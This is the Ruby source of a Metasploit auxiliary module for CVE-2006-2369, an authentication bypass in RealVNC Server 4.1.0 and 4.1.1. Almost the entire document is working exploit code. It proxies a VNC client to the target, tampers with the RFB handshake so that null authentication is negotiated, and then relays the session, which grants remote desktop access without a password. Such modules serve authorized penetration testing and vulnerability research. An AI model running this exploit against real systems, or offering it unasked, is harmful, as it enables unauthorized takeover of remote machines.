RealVNC – Authentication Bypass (Metasploit)
## # $Id: realvnc_41_bypass.rb 13641 2011-08-26 04:40:21Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'RealVNC Authentication Bypass', 'Description' => %q{ This module exploits an Authentication Bypass Vulnerability in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy listener on LPORT and proxies to the target server The AUTOVNC option requires that vncviewer be installed on the attacking machine. This option should be disabled for Pro }, 'Author' => [ 'hdm', #original msf2 module 'TheLightCosine <thelightcosine[at]gmail.com>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13641 $', 'References' => [ ['BID', '17978'], ['OSVDB', '25479'], ['URL', 'http://secunia.com/advisories/20107/'], ['CVE', 'CVE-2006-2369'], ], 'DisclosureDate' => 'May 15 2006')) register_options( [ OptAddress.new('RHOST', [true, 'The Target Host']), OptPort.new('RPORT', [true, "The port the target VNC Server is listening on", 5900 ]), OptPort.new('LPORT', [true, "The port the local VNC Proxy should listen on", 5900 ]), OptBool.new('AUTOVNC', [true, "Automatically Launch vncviewer from this host", true]) ], self.class) end def run #starts up the Listener Server print_status("starting listener") listener = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', 'LocalPort' => datastore['LPORT'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) #If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine #targetting the proxy listener. if (datastore['AUTOVNC']) unless (check_vncviewer()) print_error("vncviewer does not appear to be installed, exiting!!!") return nil end print_status("Spawning viewer thread") view = framework.threads.spawn("VncViewerWrapper", false) { system("vncviewer 127.0.0.1::#{datastore['LPORT']}") } end #Establishes the connection between the viewier and the remote server client = listener.accept add_socket(client) s = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'Timeout' => 1 ) add_socket(s) serverhello = s.gets unless serverhello.include? "RFB 003.008" print_error("The VNCServer is not vulnerable") return end #MitM attack on the VNC Authentication Process client.puts(serverhello) clienthello = client.gets s.puts(clienthello) authmethods = s.recv(2) print_status("Auth Methods Recieved. Sending Null Authentication Option to Client") client.write("\x01\x01") client.recv(1) s.write("\x01") s.recv(4) client.write("\x00\x00\x00\x00") #handles remaining proxy operations between the two sockets closed = false while(closed == false) sockets =[] sockets << client sockets << s selected = select(sockets,nil,nil,0) #print_status ("Selected: #{selected.inspect}") unless selected.nil? if selected[0].include?(client) #print_status("Transfering from client to server") begin data = client.sysread(8192) if data.nil? print_error("Client Closed Connection") closed = true else s.write(data) end rescue print_error("Client Closed Connection") closed = true end end if selected[0].include?(s) #print_status("Transfering from server to client") begin data = s.sysread(8192) if data.nil? print_error("Server Closed Connection") closed = true else client.write(data) end rescue closed = true end end end end #Garbage Collection s.close client.close print_status("Listener Closed") if (datastore['AUTOVNC']) view.kill print_status("Viewer Closed") end end def check_vncviewer vnc = Rex::FileUtils::find_full_path('vncviewer') || Rex::FileUtils::find_full_path('vncviewer.exe') if (vnc) return true else return false end end end |